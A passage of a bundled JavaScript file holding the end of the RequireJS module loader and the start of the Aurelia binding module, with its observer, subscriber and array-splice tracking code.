//addEventListener support, which fire the onload event for a
//script right after the script execution. See:
//https://connect.microsoft.com/IE/feedback/details/648057/script-onload-event-is-not-fired-immediately-after-script-execution
//UNFORTUNATELY Opera implements attachEvent but does not follow the script
//script execution mode.
if (node.attachEvent &&
//Check if node.attachEvent is artificially added by custom script or
//natively supported by browser
//read https://github.com/requirejs/requirejs/issues/187
//if we can NOT find [native code] then it must NOT natively supported.
//in IE8, node.attachEvent does not have toString()
//Note the test for "[native code" with no closing brace, see:
//https://github.com/requirejs/requirejs/issues/273
!(node.attachEvent.toString && node.attachEvent.toString().indexOf('[native code') < 0) &&
!isOpera) {
//Probably IE. IE (at least 6-8) do not fire
//script onload right after executing the script, so
//we cannot tie the anonymous define call to a name.
//However, IE reports the script as being in 'interactive'
//readyState at the time of the define call.
useInteractive = true;
node.attachEvent('onreadystatechange', context.onScriptLoad);
//It would be great to add an error handler here to catch
//404s in IE9+. However, onreadystatechange will fire before
//the error handler, so that does not help. If addEventListener
//is used, then IE will fire error before load, but we cannot
//use that pathway given the connect.microsoft.com issue
//mentioned above about not doing the 'script execute,
//then fire the script load event listener before execute
//next script' that other browsers do.
//Best hope: IE10 fixes the issues,
//and then destroys all installs of IE 6-9.
//node.attachEvent('onerror', context.onScriptError);
} else {
node.addEventListener('load', context.onScriptLoad, false);
node.addEventListener('error', context.onScriptError, false);
}
node.src = url;
//Calling onNodeCreated after all properties on the node have been
//set, but before it is placed in the DOM.
if (config.onNodeCreated) {
config.onNodeCreated(node, config, moduleName, url);
}
//For some cache cases in IE 6-8, the script executes before the end
//of the appendChild execution, so to tie an anonymous define
//call to the module name (which is stored on the node), hold on
//to a reference to this node, but clear after the DOM insertion.
currentlyAddingScript = node;
if (baseElement) {
head.insertBefore(node, baseElement);
} else {
head.appendChild(node);
}
currentlyAddingScript = null;
return node;
} else if (isWebWorker) {
try {
//In a web worker, use importScripts. This is not a very
//efficient use of importScripts, importScripts will block until
//its script is downloaded and evaluated. However, if web workers
//are in play, the expectation is that a build has been done so
//that only one script needs to be loaded anyway. This may need
//to be reevaluated if other use cases become common.
// Post a task to the event loop to work around a bug in WebKit
// where the worker gets garbage-collected after calling
// importScripts(): https://webkit.org/b/153317
setTimeout(function() {}, 0);
importScripts(url);
//Account for anonymous modules
context.completeLoad(moduleName);
} catch (e) {
context.onError(makeError('importscripts',
'importScripts failed for ' +
moduleName + ' at ' + url,
e,
[moduleName]));
}
}
};
function getInteractiveScript() {
if (interactiveScript && interactiveScript.readyState === 'interactive') {
return interactiveScript;
}
eachReverse(scripts(), function (script) {
if (script.readyState === 'interactive') {
return (interactiveScript = script);
}
});
return interactiveScript;
}
//Look for a data-main script attribute, which could also adjust the baseUrl.
if (isBrowser && !cfg.skipDataMain) {
//Figure out baseUrl. Get it from the script tag with require.js in it.
eachReverse(scripts(), function (script) {
//Set the 'head' where we can append children by
//using the script's parent.
if (!head) {
head = script.parentNode;
}
//Look for a data-main attribute to set main script for the page
//to load. If it is there, the path to data main becomes the
//baseUrl, if it is not already set.
dataMain = script.getAttribute('data-main');
if (dataMain) {
//Preserve dataMain in case it is a path (i.e. contains '?')
mainScript = dataMain;
//Set final baseUrl if there is not already an explicit one,
//but only do so if the data-main value is not a loader plugin
//module ID.
if (!cfg.baseUrl && mainScript.indexOf('!') === -1) {
//Pull off the directory of data-main for use as the
//baseUrl.
src = mainScript.split('/');
mainScript = src.pop();
subPath = src.length ? src.join('/') + '/' : './';
cfg.baseUrl = subPath;
}
//Strip off any trailing .js since mainScript is now
//like a module name.
mainScript = mainScript.replace(jsSuffixRegExp, '');
//If mainScript is still a path, fall back to dataMain
if (req.jsExtRegExp.test(mainScript)) {
mainScript = dataMain;
}
//Put the data-main script in the files to load.
cfg.deps = cfg.deps ? cfg.deps.concat(mainScript) : [mainScript];
return true;
}
});
}
/**
* The function that handles definitions of modules. Differs from
* require() in that a string for the module should be the first argument,
* and the function to execute after dependencies are loaded should
* return a value to define the module corresponding to the first argument's
* name.
*/
define = function (name, deps, callback) {
var node, context;
//Allow for anonymous modules
if (typeof name !== 'string') {
//Adjust args appropriately
callback = deps;
deps = name;
name = null;
}
//This module may not have dependencies
if (!isArray(deps)) {
callback = deps;
deps = null;
}
//If no name, and callback is a function, then figure out if it a
//CommonJS thing with dependencies.
if (!deps && isFunction(callback)) {
deps = [];
//Remove comments from the callback string,
//look for require calls, and pull them into the dependencies,
//but only if there are function args.
if (callback.length) {
callback
.toString()
.replace(commentRegExp, commentReplace)
.replace(cjsRequireRegExp, function (match, dep) {
deps.push(dep);
});
//May be a CommonJS thing even without require calls, but still
//could use exports, and module. Avoid doing exports and module
//work though if it just needs require.
//REQUIRES the function to expect the CommonJS variables in the
//order listed below.
deps = (callback.length === 1 ? ['require'] : ['require', 'exports', 'module']).concat(deps);
}
}
//If in IE 6-8 and hit an anonymous define() call, do the interactive
//work.
if (useInteractive) {
node = currentlyAddingScript || getInteractiveScript();
if (node) {
if (!name) {
name = node.getAttribute('data-requiremodule');
}
context = contexts[node.getAttribute('data-requirecontext')];
}
}
//Always save off evaluating the def call until the script onload handler.
//This allows multiple modules to be in a file without prematurely
//tracing dependencies, and allows for anonymous module support,
//where the module name is not known until the script onload event
//occurs. If no context, use the global queue, and get it processed
//in the onscript load callback.
if (context) {
context.defQueue.push([name, deps, callback]);
context.defQueueMap[name] = true;
} else {
globalDefQueue.push([name, deps, callback]);
}
};
define.amd = {
jQuery: true
};
/**
* Executes the text. Normally just uses eval, but can be modified
* to use a better, environment-specific call. Only used for transpiling
* loader plugins, not for plain JS modules.
* @param {String} text the text to execute/evaluate.
*/
req.exec = function (text) {
/*jslint evil: true */
return eval(text);
};
//Set up with config info.
req(cfg);
}(this, (typeof setTimeout === 'undefined' ? undefined : setTimeout)));
_aureliaConfigureModuleLoader();
define('aurelia-binding',['exports', 'aurelia-logging', 'aurelia-pal', 'aurelia-task-queue', 'aurelia-metadata'], function (exports, _aureliaLogging, _aureliaPal, _aureliaTaskQueue, _aureliaMetadata) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.getSetObserver = exports.BindingEngine = exports.NameExpression = exports.Listener = exports.ListenerExpression = exports.BindingBehaviorResource = exports.ValueConverterResource = exports.Call = exports.CallExpression = exports.Binding = exports.BindingExpression = exports.ObjectObservationAdapter = exports.ObserverLocator = exports.SVGAnalyzer = exports.presentationAttributes = exports.presentationElements = exports.elements = exports.ComputedExpression = exports.ClassObserver = exports.SelectValueObserver = exports.CheckedObserver = exports.ValueAttributeObserver = exports.StyleObserver = exports.DataAttributeObserver = exports.dataAttributeAccessor = exports.XLinkAttributeObserver = exports.SetterObserver = exports.PrimitiveObserver = exports.propertyAccessor = exports.DirtyCheckProperty = exports.DirtyChecker = exports.EventManager = exports.delegationStrategy = exports.getMapObserver = exports.ParserImplementation = exports.Parser = exports.Scanner = exports.Lexer = exports.Token = exports.bindingMode = exports.ExpressionCloner = exports.Unparser = exports.LiteralObject = exports.LiteralArray = exports.LiteralString = exports.LiteralPrimitive = exports.PrefixNot = exports.Binary = exports.CallFunction = exports.CallMember = exports.CallScope = exports.AccessKeyed = exports.AccessMember = exports.AccessScope = exports.AccessThis = exports.Conditional = exports.Assign = exports.ValueConverter = exports.BindingBehavior = exports.Chain = exports.Expression = exports.getArrayObserver = exports.CollectionLengthObserver = exports.ModifyCollectionObserver = exports.ExpressionObserver = exports.sourceContext = undefined;
exports.camelCase = camelCase;
exports.createOverrideContext = createOverrideContext;
exports.getContextFor = getContextFor;
exports.createScopeForTest = createScopeForTest;
exports.connectable = connectable;
exports.enqueueBindingConnect = enqueueBindingConnect;
exports.subscriberCollection = subscriberCollection;
exports.calcSplices = calcSplices;
exports.mergeSplice = mergeSplice;
exports.projectArraySplices = projectArraySplices;
exports.getChangeRecords = getChangeRecords;
exports.cloneExpression = cloneExpression;
exports.hasDeclaredDependencies = hasDeclaredDependencies;
exports.declarePropertyDependencies = declarePropertyDependencies;
exports.computedFrom = computedFrom;
exports.createComputedObserver = createComputedObserver;
exports.valueConverter = valueConverter;
exports.bindingBehavior = bindingBehavior;
exports.observable = observable;
var LogManager = _interopRequireWildcard(_aureliaLogging);
function _interopRequireWildcard(obj) {
if (obj && obj.__esModule) {
return obj;
} else {
var newObj = {};
if (obj != null) {
for (var key in obj) {
if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key];
}
}
newObj.default = obj;
return newObj;
}
}
var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) {
return typeof obj;
} : function (obj) {
return obj && typeof Symbol === "function" && obj.constructor === Symbol ? "symbol" : typeof obj;
};
var _createClass = function () {
function defineProperties(target, props) {
for (var i = 0; i < props.length; i++) {
var descriptor = props[i];
descriptor.enumerable = descriptor.enumerable || false;
descriptor.configurable = true;
if ("value" in descriptor) descriptor.writable = true;
Object.defineProperty(target, descriptor.key, descriptor);
}
}
return function (Constructor, protoProps, staticProps) {
if (protoProps) defineProperties(Constructor.prototype, protoProps);
if (staticProps) defineProperties(Constructor, staticProps);
return Constructor;
};
}();
function _possibleConstructorReturn(self, call) {
if (!self) {
throw new ReferenceError("this hasn't been initialised - super() hasn't been called");
}
return call && (typeof call === "object" || typeof call === "function") ? call : self;
}
function _inherits(subClass, superClass) {
if (typeof superClass !== "function" && superClass !== null) {
throw new TypeError("Super expression must either be null or a function, not " + typeof superClass);
}
subClass.prototype = Object.create(superClass && superClass.prototype, {
constructor: {
value: subClass,
enumerable: false,
writable: true,
configurable: true
}
});
if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass;
}
var _dec, _dec2, _class, _dec3, _class2, _dec4, _class3, _dec5, _class5, _dec6, _class7, _dec7, _class8, _dec8, _class9, _dec9, _class10, _class12, _temp, _dec10, _class13, _class14, _temp2;
var map = Object.create(null);
function camelCase(name) {
if (name in map) {
return map[name];
}
var result = name.charAt(0).toLowerCase() + name.slice(1).replace(/[_.-](\w|$)/g, function (_, x) {
return x.toUpperCase();
});
map[name] = result;
return result;
}
function createOverrideContext(bindingContext, parentOverrideContext) {
return {
bindingContext: bindingContext,
parentOverrideContext: parentOverrideContext || null
};
}
function getContextFor(name, scope, ancestor) {
var oc = scope.overrideContext;
if (ancestor) {
while (ancestor && oc) {
ancestor--;
oc = oc.parentOverrideContext;
}
if (ancestor || !oc) {
return undefined;
}
return name in oc ? oc : oc.bindingContext;
}
while (oc && !(name in oc) && !(oc.bindingContext && name in oc.bindingContext)) {
oc = oc.parentOverrideContext;
}
if (oc) {
return name in oc ? oc : oc.bindingContext;
}
return scope.bindingContext || scope.overrideContext;
}
function createScopeForTest(bindingContext, parentBindingContext) {
if (parentBindingContext) {
return {
bindingContext: bindingContext,
overrideContext: createOverrideContext(bindingContext, createOverrideContext(parentBindingContext))
};
}
return {
bindingContext: bindingContext,
overrideContext: createOverrideContext(bindingContext)
};
}
var sourceContext = exports.sourceContext = 'Binding:source';
var slotNames = [];
var versionSlotNames = [];
for (var i = 0; i < 100; i++) {
slotNames.push('_observer' + i);
versionSlotNames.push('_observerVersion' + i);
}
function addObserver(observer) {
var observerSlots = this._observerSlots === undefined ? 0 : this._observerSlots;
var i = observerSlots;
while (i-- && this[slotNames[i]] !== observer) {}
if (i === -1) {
i = 0;
while (this[slotNames[i]]) {
i++;
}
this[slotNames[i]] = observer;
observer.subscribe(sourceContext, this);
if (i === observerSlots) {
this._observerSlots = i + 1;
}
}
if (this._version === undefined) {
this._version = 0;
}
this[versionSlotNames[i]] = this._version;
}
function observeProperty(obj, propertyName) {
var observer = this.observerLocator.getObserver(obj, propertyName);
addObserver.call(this, observer);
}
function observeArray(array) {
var observer = this.observerLocator.getArrayObserver(array);
addObserver.call(this, observer);
}
function unobserve(all) {
var i = this._observerSlots;
while (i--) {
if (all || this[versionSlotNames[i]] !== this._version) {
var observer = this[slotNames[i]];
this[slotNames[i]] = null;
if (observer) {
observer.unsubscribe(sourceContext, this);
}
}
}
}
function connectable() {
return function (target) {
target.prototype.observeProperty = observeProperty;
target.prototype.observeArray = observeArray;
target.prototype.unobserve = unobserve;
target.prototype.addObserver = addObserver;
};
}
var queue = [];
var queued = {};
var nextId = 0;
var minimumImmediate = 100;
var frameBudget = 15;
var isFlushRequested = false;
var immediate = 0;
function flush(animationFrameStart) {
var length = queue.length;
var i = 0;
while (i < length) {
var binding = queue[i];
queued[binding.__connectQueueId] = false;
binding.connect(true);
i++;
if (i % 100 === 0 && _aureliaPal.PLATFORM.performance.now() - animationFrameStart > frameBudget) {
break;
}
}
queue.splice(0, i);
if (queue.length) {
_aureliaPal.PLATFORM.requestAnimationFrame(flush);
} else {
isFlushRequested = false;
immediate = 0;
}
}
function enqueueBindingConnect(binding) {
if (immediate < minimumImmediate) {
immediate++;
binding.connect(false);
} else {
var id = binding.__connectQueueId;
if (id === undefined) {
id = nextId;
nextId++;
binding.__connectQueueId = id;
}
if (!queued[id]) {
queue.push(binding);
queued[id] = true;
}
}
if (!isFlushRequested) {
isFlushRequested = true;
_aureliaPal.PLATFORM.requestAnimationFrame(flush);
}
}
function addSubscriber(context, callable) {
if (this.hasSubscriber(context, callable)) {
return false;
}
if (!this._context0) {
this._context0 = context;
this._callable0 = callable;
return true;
}
if (!this._context1) {
this._context1 = context;
this._callable1 = callable;
return true;
}
if (!this._context2) {
this._context2 = context;
this._callable2 = callable;
return true;
}
if (!this._contextsRest) {
this._contextsRest = [context];
this._callablesRest = [callable];
return true;
}
this._contextsRest.push(context);
this._callablesRest.push(callable);
return true;
}
function removeSubscriber(context, callable) {
if (this._context0 === context && this._callable0 === callable) {
this._context0 = null;
this._callable0 = null;
return true;
}
if (this._context1 === context && this._callable1 === callable) {
this._context1 = null;
this._callable1 = null;
return true;
}
if (this._context2 === context && this._callable2 === callable) {
this._context2 = null;
this._callable2 = null;
return true;
}
var rest = this._contextsRest;
var index = void 0;
if (!rest || !rest.length || (index = rest.indexOf(context)) === -1 || this._callablesRest[index] !== callable) {
return false;
}
rest.splice(index, 1);
this._callablesRest.splice(index, 1);
return true;
}
var arrayPool1 = [];
var arrayPool2 = [];
var poolUtilization = [];
function callSubscribers(newValue, oldValue) {
var context0 = this._context0;
var callable0 = this._callable0;
var context1 = this._context1;
var callable1 = this._callable1;
var context2 = this._context2;
var callable2 = this._callable2;
var length = this._contextsRest ? this._contextsRest.length : 0;
var contextsRest = void 0;
var callablesRest = void 0;
var poolIndex = void 0;
var i = void 0;
if (length) {
poolIndex = poolUtilization.length;
while (poolIndex-- && poolUtilization[poolIndex]) {}
if (poolIndex < 0) {
poolIndex = poolUtilization.length;
contextsRest = [];
callablesRest = [];
poolUtilization.push(true);
arrayPool1.push(contextsRest);
arrayPool2.push(callablesRest);
} else {
poolUtilization[poolIndex] = true;
contextsRest = arrayPool1[poolIndex];
callablesRest = arrayPool2[poolIndex];
}
i = length;
while (i--) {
contextsRest[i] = this._contextsRest[i];
callablesRest[i] = this._callablesRest[i];
}
}
if (context0) {
if (callable0) {
callable0.call(context0, newValue, oldValue);
} else {
context0(newValue, oldValue);
}
}
if (context1) {
if (callable1) {
callable1.call(context1, newValue, oldValue);
} else {
context1(newValue, oldValue);
}
}
if (context2) {
if (callable2) {
callable2.call(context2, newValue, oldValue);
} else {
context2(newValue, oldValue);
}
}
if (length) {
for (i = 0; i < length; i++) {
var callable = callablesRest[i];
var context = contextsRest[i];
if (callable) {
callable.call(context, newValue, oldValue);
} else {
context(newValue, oldValue);
}
contextsRest[i] = null;
callablesRest[i] = null;
}
poolUtilization[poolIndex] = false;
}
}
function hasSubscribers() {
return !!(this._context0 || this._context1 || this._context2 || this._contextsRest && this._contextsRest.length);
}
function hasSubscriber(context, callable) {
var has = this._context0 === context && this._callable0 === callable || this._context1 === context && this._callable1 === callable || this._context2 === context && this._callable2 === callable;
if (has) {
return true;
}
var index = void 0;
var contexts = this._contextsRest;
if (!contexts || (index = contexts.length) === 0) {
return false;
}
var callables = this._callablesRest;
while (index--) {
if (contexts[index] === context && callables[index] === callable) {
return true;
}
}
return false;
}
function subscriberCollection() {
return function (target) {
target.prototype.addSubscriber = addSubscriber;
target.prototype.removeSubscriber = removeSubscriber;
target.prototype.callSubscribers = callSubscribers;
target.prototype.hasSubscribers = hasSubscribers;
target.prototype.hasSubscriber = hasSubscriber;
};
}
var ExpressionObserver = exports.ExpressionObserver = (_dec = connectable(), _dec2 = subscriberCollection(), _dec(_class = _dec2(_class = function () {
function ExpressionObserver(scope, expression, observerLocator, lookupFunctions) {
this.scope = scope;
this.expression = expression;
this.observerLocator = observerLocator;
this.lookupFunctions = lookupFunctions;
}
ExpressionObserver.prototype.getValue = function getValue() {
return this.expression.evaluate(this.scope, this.lookupFunctions);
};
ExpressionObserver.prototype.setValue = function setValue(newValue) {
this.expression.assign(this.scope, newValue);
};
ExpressionObserver.prototype.subscribe = function subscribe(context, callable) {
var _this = this;
if (!this.hasSubscribers()) {
this.oldValue = this.expression.evaluate(this.scope, this.lookupFunctions);
this.expression.connect(this, this.scope);
}
this.addSubscriber(context, callable);
if (arguments.length === 1 && context instanceof Function) {
return {
dispose: function dispose() {
_this.unsubscribe(context, callable);
}
};
}
};
ExpressionObserver.prototype.unsubscribe = function unsubscribe(context, callable) {
if (this.removeSubscriber(context, callable) && !this.hasSubscribers()) {
this.unobserve(true);
this.oldValue = undefined;
}
};
ExpressionObserver.prototype.call = function call() {
var newValue = this.expression.evaluate(this.scope, this.lookupFunctions);
var oldValue = this.oldValue;
if (newValue !== oldValue) {
this.oldValue = newValue;
this.callSubscribers(newValue, oldValue);
}
this._version++;
this.expression.connect(this, this.scope);
this.unobserve(false);
};
return ExpressionObserver;
}()) || _class) || _class);
function isIndex(s) {
return +s === s >>> 0;
}
function toNumber(s) {
return +s;
}
function newSplice(index, removed, addedCount) {
return {
index: index,
removed: removed,
addedCount: addedCount
};
}
var EDIT_LEAVE = 0;
var EDIT_UPDATE = 1;
var EDIT_ADD = 2;
var EDIT_DELETE = 3;
function ArraySplice() {}
ArraySplice.prototype = {
calcEditDistances: function calcEditDistances(current, currentStart, currentEnd, old, oldStart, oldEnd) {
var rowCount = oldEnd - oldStart + 1;
var columnCount = currentEnd - currentStart + 1;
var distances = new Array(rowCount);
var north = void 0;
var west = void 0;
for (var _i = 0; _i < rowCount; ++_i) {
distances[_i] = new Array(columnCount);
distances[_i][0] = _i;
}
for (var j = 0; j < columnCount; ++j) {
distances[0][j] = j;
}
for (var _i2 = 1; _i2 < rowCount; ++_i2) {
for (var _j = 1; _j < columnCount; ++_j) {
if (this.equals(current[currentStart + _j - 1], old[oldStart + _i2 - 1])) {
distances[_i2][_j] = distances[_i2 - 1][_j - 1];
} else {
north = distances[_i2 - 1][_j] + 1;
west = distances[_i2][_j - 1] + 1;
distances[_i2][_j] = north < west ? north : west;
}
}
}
return distances;
},
spliceOperationsFromEditDistances: function spliceOperationsFromEditDistances(distances) {
var i = distances.length - 1;
var j = distances[0].length - 1;
var current = distances[i][j];
var edits = [];
while (i > 0 || j > 0) {
if (i === 0) {
edits.push(EDIT_ADD);
j--;
continue;
}
if (j === 0) {
edits.push(EDIT_DELETE);
i--;
continue;
}
var northWest = distances[i - 1][j - 1];
var west = distances[i - 1][j];
var north = distances[i][j - 1];
var min = void 0;
if (west < north) {
min = west < northWest ? west : northWest;
} else {
min = north < northWest ? north : northWest;
}
if (min === northWest) {
if (northWest === current) {
edits.push(EDIT_LEAVE);
} else {
edits.push(EDIT_UPDATE);
current = northWest;
}
i--;
j--;
} else if (min === west) {
edits.push(EDIT_DELETE);
i--;
current = west;
} else {
edits.push(EDIT_ADD);
j--;
current = north;
}
}
edits.reverse();
return edits;
},
calcSplices: function calcSplices(current, currentStart, currentEnd, old, oldStart, oldEnd) {
var prefixCount = 0;
var suffixCount = 0;
var minLength = Math.min(currentEnd - currentStart, oldEnd - oldStart);
if (currentStart === 0 && oldStart === 0) {
prefixCount = this.sharedPrefix(current, old, minLength);
}
if (currentEnd === current.length && oldEnd === old.length) {
suffixCount = this.sharedSuffix(current, old, minLength - prefixCount);
}
currentStart += prefixCount;
oldStart += prefixCount;
currentEnd -= suffixCount;
oldEnd -= suffixCount;
if (currentEnd - currentStart === 0 && oldEnd - oldStart === 0) {
return [];
}
if (currentStart === currentEnd) {
var _splice = newSplice(currentStart, [], 0);
while (oldStart < oldEnd) {
_splice.removed.push(old[oldStart++]);
}
return [_splice];
} else if (oldStart === oldEnd) {
return [newSplice(currentStart, [], currentEnd - currentStart)];
}
var ops = this.spliceOperationsFromEditDistances(this.calcEditDistances(current, currentStart, currentEnd, old, oldStart, oldEnd));
var splice = undefined;
var splices = [];
var index = currentStart;
var oldIndex = oldStart;
for (var _i3 = 0; _i3 < ops.length; ++_i3) {
switch (ops[_i3]) {
case EDIT_LEAVE:
if (splice) {
splices.push(splice);
splice = undefined;
}
index++;
oldIndex++;
break;
case EDIT_UPDATE:
if (!splice) {
splice = newSplice(index, [], 0);
}
splice.addedCount++;
index++;
splice.removed.push(old[oldIndex]);
oldIndex++;
break;
case EDIT_ADD:
if (!splice) {
splice = newSplice(index, [], 0);
}
splice.addedCount++;
index++;
break;
case EDIT_DELETE:
if (!splice) {
splice = newSplice(index, [], 0);
}
splice.removed.push(old[oldIndex]);
oldIndex++;
break;
}
}
if (splice) {
splices.push(splice);
}
return splices;
},
sharedPrefix: function sharedPrefix(current, old, searchLength) {
for (var _i4 = 0; _i4 < searchLength; ++_i4) {
if (!this.equals(current[_i4], old[_i4])) {
return _i4;
}
}
return searchLength;
},
sharedSuffix: function sharedSuffix(current, old, searchLength) {
var index1 = current.length;
var index2 = old.length;
var count = 0;
while (count < searchLength && this.equals(current[--index1], old[--index2])) {
count++;
}
return count;
},
calculateSplices: function calculateSplices(current, previous) {
return this.calcSplices(current, 0, current.length, previous, 0, previous.length);
},
equals: function equals(currentValue, previousValue) {
return currentValue === previousValue;
}
};
var arraySplice = new ArraySplice();
function calcSplices(current, currentStart, currentEnd, old, oldStart, oldEnd) {
return arraySplice.calcSplices(current, currentStart, currentEnd, old, oldStart, oldEnd);
}
function intersect(start1, end1, start2, end2) {
if (end1 < start2 || end2 < start1) {
return -1;
}
if (end1 === start2 || end2 === start1) {
return 0;
}
if (start1 < start2) {
if (end1 < end2) {
return end1 - start2;
}
return end2 - start2;
}
if (end2 < end1) {
return end2 - start1;
}
return end1 - start1;
}
function mergeSplice(splices, index, removed, addedCount) {
var splice = newSplice(index, removed, addedCount);
var inserted = false;
var insertionOffset = 0;
for (var _i5 = 0; _i5 < splices.length; _i5++) {
var current = splices[_i5];
current.index += insertionOffset;
if (inserted) {
continue;
}
var intersectCount = intersect(splice.index, splice.index + splice.removed.length, current.index, current.index + current.addedCount);
if (intersectCount >= 0) {
splices.splice(_i5, 1);
_i5--;
insertionOffset -= current.addedCount - current.removed.length;
splice.addedCount += current.addedCount - intersectCount;
var deleteCount = splice.removed.length + current.removed.length - intersectCount;
if (!splice.addedCount && !deleteCount) {
inserted = true;
} else {
var currentRemoved = current.removed;
if (splice.index < current.index) {
var prepend = splice.removed.slice(0, current.index - splice.index);
Array.prototype.push.apply(prepend, currentRemoved);
currentRemoved = prepend;
}
if (splice.index + splice.removed.length > current.index + current.addedCount) {
var append = splice.removed.slice(current.index + current.addedCount - splice.index);
Array.prototype.push.apply(currentRemoved, append);
}
splice.removed = currentRemoved;
if (current.index < splice.index) {
splice.index = current.index;
}
}
} else if (splice.index < current.index) {
inserted = true;
splices.splice(_i5, 0, splice);
_i5++;
var offset = splice.addedCount - splice.removed.length;
current.index += offset;
insertionOffset += offset;
}
}
if (!inserted) {
splices.push(splice);
}
}
function createInitialSplices(array, changeRecords) {
var splices = [];
for (var _i6 = 0; _i6 < changeRecords.length; _i6++) {
var record = changeRecords[_i6];
switch (record.type) {
case 'splice':
mergeSplice(splices, record.index, record.removed.slice(), record.addedCount);
break;
case 'add':
case 'update':
case 'delete':
if (!isIndex(record.name)) {
continue;
}
var index = toNumber(record.name);
if (index < 0) {
continue;
}
mergeSplice(splices, index, [record.oldValue], record.type === 'delete' ? 0 : 1);
break;
default:
console.error('Unexpected record type: ' + JSON.stringify(record));
break;
}
}
return splices;
}
function projectArraySplices(array, changeRecords) {
var splices = [];
createInitialSplices(array, changeRecords).forEach(function (splice) {
if (splice.addedCount === 1 && splice.removed.length === 1) {
if (splice.removed[0] !== array[splice.index]) {
splices.push(splice);
}
return;
}
splices = splices.concat(calcSplices(array, splice.index, splice.index + splice.addedCount, splice.removed, 0, splice.removed.length));
});
return splices;
}
function newRecord(type, object, key, oldValue) {
return {
type: type,
object: object,
key: key,
oldValue: oldValue
};
}
function getChangeRecords(map) {
var entries = new Array(map.size);
var keys = map.keys();
var i = 0;
var item = void 0;
while (item = keys.next()) {
if (item.done) {
break;
}
entries[i] = newRecord('added', map, item.value);
i++;
}
return entries;
}
var ModifyCollectionObserver = exports.ModifyCollectionObserver = (_dec3 = subscriberCollection(), _dec3(_class2 = function () {
function ModifyCollectionObserver(taskQueue, collection) {
this.taskQueue = taskQueue;
this.queued = false;
this.changeRecords = null;
this.oldCollection = null;
this.collection = collection;
this.lengthPropertyName = collection instanceof Map || collection instanceof Set ? 'size' : 'length';
}
ModifyCollectionObserver.prototype.subscribe = function subscribe(context, callable) {
this.addSubscriber(context, callable);
};
ModifyCollectionObserver.prototype.unsubscribe = function unsubscribe(context, callable) {
this.removeSubscriber(context, callable);
};
ModifyCollectionObserver.prototype.addChangeRecord = function addChangeRecord(changeRecord) {
if (!this.hasSubscribers() && !this.lengthObserver) {
return;
}
if (changeRecord.type === 'splice') {
var index = changeRecord.index;
var arrayLength = changeRecord.object.length;
if (index > arrayLength) {
index = arrayLength - changeRecord.addedCount;
} else if (index < 0) {
index = arrayLength + changeRecord.removed.length + index - changeRecord.addedCount;
}
if (index < 0) {
index = 0;
}
changeRecord.index = index;
}
if (this.changeRecords === null) {
this.changeRecords = [changeRecord];
} else {
this.changeRecords.push(changeRecord);
}
if (!this.queued) {
this.queued = true;
this.taskQueue.queueMicroTask(this);
}
};
ModifyCollectionObserver.prototype.flushChangeRecords = function flushChangeRecords() {
if (this.changeRecords && this.changeRecords.length || this.oldCollection) {
this.call();
}
};
ModifyCollectionObserver.prototype.reset = function reset(oldCollection) {
this.oldCollection = oldCollection;
if (this.hasSubscribers() && !this.queued) {
this.queued = true;
this.taskQueue.queueMicroTask(this);
}
};
ModifyCollectionObserver.prototype.getLengthObserver = function getLengthObserver() {
return this.lengthObserver || (this.lengthObserver = new CollectionLengthObserver(this.collection));
};
ModifyCollectionObserver.prototype.call = function call() {
var changeRecords = this.changeRecords;
var oldCollection = this.oldCollection;
var records = void 0;
this.queued = false;
this.changeRecords = [];
this.oldCollection = null;
if (this.hasSubscribers()) {
if (oldCollection) {
if (this.collection instanceof Map || this.collection instanceof Set) {
records = getChangeRecords(oldCollection);
} else {
records = calcSplices(this.collection, 0, this.collection.length, oldCollection, 0, oldCollection.length);
}
} else {
if (this.collection instanceof Map || this.collection instanceof Set) {
records = changeRecords;
} else {
records = projectArraySplices(this.collection, changeRecords);
}
}
this.callSubscribers(records);
}
if (this.lengthObserver) {
this.lengthObserver.call(this.collection[this.lengthPropertyName]);
}
};
return ModifyCollectionObserver;
}()) || _class2);
var CollectionLengthObserver = exports.CollectionLengthObserver = (_dec4 = subscriberCollection(), _dec4(_class3 = function () {
function CollectionLengthObserver(collection) {
this.collection = collection;
this.lengthPropertyName = collection instanceof Map || collection instanceof Set ? 'size' : 'length';
this.currentValue = collection[this.lengthPropertyName];
}
CollectionLengthObserver.prototype.getValue = function getValue() {
return this.collection[this.lengthPropertyName];
};
CollectionLengthObserver.prototype.setValue = function setValue(newValue) {
this.collection[this.lengthPropertyName] = newValue;
};
CollectionLengthObserver.prototype.subscribe = function subscribe(context, callable) {
this.addSubscriber(context, callable);
};
CollectionLengthObserver.prototype.unsubscribe = function unsubscribe(context, callable) {
this.removeSubscriber(context, callable);
};
CollectionLengthObserver.prototype.call = function call(newValue) {
var oldValue = this.currentValue;
this.callSubscribers(newValue, oldValue);
this.currentValue = newValue;
};
return CollectionLengthObserver;
}()) || _class3);
var pop = Array.prototype.pop;
var push = Array.prototype.push;
var reverse = Array.prototype.reverse;
var shift = Array.prototype.shift;
var sort = Array.prototype.sort;
var splice = Array.prototype.splice;
var unshift = Array.prototype.unshift;
Array.prototype.pop = function () {
var notEmpty = this.length > 0;
var methodCallResult = pop.apply(this, arguments);
if (notEmpty && this.__array_observer__ !== undefined) {
this.__array_observer__.addChangeRecord({
type: 'delete',
object: this,
name: this.length,
oldValue: methodCallResult
});
}
return methodCallResult;
};
Array.prototype.push = function () {
var methodCallResult = push.apply(this, arguments);
if (this.__array_observer__ !== undefined) {
this.__array_observer__.addChangeRecord({
type: 'splice',
object: this,
index: this.length - arguments.length,
removed: [],
addedCount: arguments.length
});
}
return methodCallResult;
};
Array.prototype.reverse = function () {
var oldArray = void 0;
if (this.__array_observer__ !== undefined) {
this.__array_observer__.flushChangeRecords();
oldArray = this.slice();
}
var methodCallResult = reverse.apply(this, arguments);
if (this.__array_observer__ !== undefined) {
this.__array_observer__.reset(oldArray);
}
return methodCallResult;
};
Array.prototype.shift = function () {
var notEmpty = this.length > 0;
var methodCallResult = shift.apply(this, arguments);
if (notEmpty && this.__array_observer__ !== undefined) {
this.__array_observer__.addChangeRecord({
type: 'delete',
object: this,
name: 0,
oldValue: methodCallResult
});
}
return methodCallResult;
};
Array.prototype.sort = function () {
var oldArray = void 0;
if (this.__array_observer__ !== undefined) {
this.__array_observer__.flushChangeRecords();
oldArray = this.slice();
}
var methodCallResult = sort.apply(this, arguments);
if (this.__array_observer__ !== undefined) {
